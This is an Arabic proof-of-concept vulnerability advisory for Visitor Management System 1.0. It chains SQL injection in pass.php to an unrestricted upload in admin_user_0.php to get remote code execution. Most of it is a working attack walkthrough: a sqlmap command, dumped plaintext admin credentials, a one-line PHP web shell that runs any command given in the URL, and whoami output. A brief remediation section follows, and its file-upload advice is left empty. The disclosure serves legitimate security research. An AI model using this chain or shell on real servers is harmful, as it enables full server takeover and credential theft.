
إثبات مفهوم يوضح حقن SQL ورفع الملفات غير المقيد معًا لتحقيق تنفيذ التعليمات البرمجية عن بُعد في نظام إدارة الزوار 1.0، بما في ذلك دليل الاستغلال خطوة بخطوة وإرشادات المعالجة.
| الحقل | التفاصيل |
|---|
| المنتج | نظام إدارة الزوار |
| البائع | code-projects.org |
| الإصدار | 1.0 |
| فئات الثغرات | حقن SQL (CWE-89) + رفع ملفات غير مقيد (CWE-434) |
| معرف CVE | قيد الانتظار |
| درجة CVSS | 9.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة المطلوبة | صلاحية منخفضة (حساب حارس) كنقطة دخول |
| الملفات المتأثرة | /vms/php/pass.php, /vms/php/admin_user_0.php |
| المعامل القابل للاستغلال | phone (POST) |
نظام إدارة الزوار 1.0 من code-projects.org عرضة لسلسلة هجوم حرجة تجمع بين حقن SQL ورفع الملفات غير المقيد مما يؤدي إلى تنفيذ الأوامر عن بُعد.
يمكن للمهاجم الذي يمتلك وصولاً بصلاحية منخفضة (حساب حارس) استغلال ثغرة حقن SQL في pass.php عبر معامل phone (POST) لتفريغ قاعدة البيانات بالكامل — بما في ذلك بيانات اعتماد المسؤول بنص واضح. باستخدام بيانات الاعتماد المستخرجة للمصادقة كمسؤول، يمكن للمهاجم بعد ذلك رفع قشرة ويب PHP عبر لوحة إدارة المستخدمين (admin_user_0.php)، والتي لا تقوم بأي تحقق من نوع الملف أو الامتداد. يتم تخزين القشرة المرفوعة في دليل يمكن الوصول إليه عبر الويب ويمكن تنفيذها مباشرة عبر URL، مما يؤدي إلى تنفيذ أوامر كامل عن بُعد على الخادم.
بالإضافة إلى ذلك، يتم تخزين كلمات المرور بنص واضح في قاعدة البيانات، مما يعني عدم الحاجة إلى خطوة كسر التجزئة بعد تفريغ SQLi.
تسجيل دخول الحارس بصلاحية منخفضة
↓
حقن SQL في pass.php (معامل phone)
↓
تفريغ sqlmap → استخراج بيانات اعتماد المسؤول بنص واضح
↓
تسجيل الدخول كمسؤول (sanjay1:7861)
↓
رفع ملفات غير مقيد في admin_user_0.php
↓
رفع قشرة ويب PHP إلى /vms/php/folder/
↓
تنفيذ الأوامر عن بُعد عبر ?cmd=whoami → اختراق كامل للخادم
انتقل إلى تطبيق VMS وسجل الدخول ببيانات اعتماد الحارس. بعد تسجيل الدخول، انتقل إلى صفحة رقم الهاتف:
http://<TARGET>/vms/php/phone_0.php

أرسل علامة اقتباس مفردة ' كقيمة رقم الهاتف. يظهر التطبيق خطأ MariaDB قاتلاً يكشف الاستعلام الأصلي ومسار الملف:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
الملف المتأثر: pass.php السطر 9
المعامل القابل للاستغلال: phone (POST)

خطأ SQL

احفظ الطلب الملتقط من Burp Suite في ملف (sqli.txt) وقم بتشغيل sqlmap:
sqlmap -r sqli.txt --dump --batch
يقوم sqlmap بنجاح بتفريغ جدول login_user من قاعدة بيانات vms، مما يكشف بيانات اعتماد بنص واضح لجميع المستخدمين:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
ملاحظة: يتم تخزين كلمات المرور بنص واضح — لا حاجة لكسر التجزئة.

باستخدام بيانات اعتماد المسؤول المستخرجة، سجل الدخول إلى لوحة تحكم المسؤول:
Username: sanjay1
Password: 7861
أصبحت لوحة تحكم المسؤول الكاملة متاحة الآن بما في ذلك إدارة الموظفين والإدارات ومستخدمي المسؤولين والتقارير.

انتقل إلى صفحة إدارة مستخدمي المسؤولين:
http://<TARGET>/vms/php/admin_user_0.php
تحتوي الصفحة على حقل رفع ملفات لصورة الملف الشخصي. لا يقوم التطبيق بأي تحقق من نوع الملف، ولا فلترة للامتداد، ولا فحص لنوع MIME.
املأ النموذج بأي قيم وارفع قشرة ويب PHP التالية كملف الصورة (web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

انتقل إلى صفحة عرض مستخدمي المسؤولين:
http://<TARGET>/vms/php/admin_display_0.php
يكون حساب المسؤول المنشأ حديثاً ظاهراً في الجدول. يتم تخزين القشرة المرفوعة في:
http://<TARGET>/vms/php/folder/web2_command.php

نفذ أوامر النظام التعسفية عبر القشرة:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
النتيجة: يعيد الخادم مستخدم النظام الحالي مما يؤكد تنفيذ الأوامر الكامل عن بُعد:
desktop-g1i9np3\dell

| الملف | الثغرة |
|---|---|
/vms/php/pass.php | حقن SQL عبر معامل phone (POST) |
/vms/php/admin_user_0.php | رفع ملفات غير مقيد — لا تحقق من الامتداد أو MIME |
/vms/php/folder/ | دليل تخزين القشرة — يمكن الوصول إليه عبر الويب، بدون قيود |
لحقن SQL:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
لرفع الملفات:
لتخزين كلمات المرور:
password_hash() و password_verify() — لا تخزن أبداً بنص واضح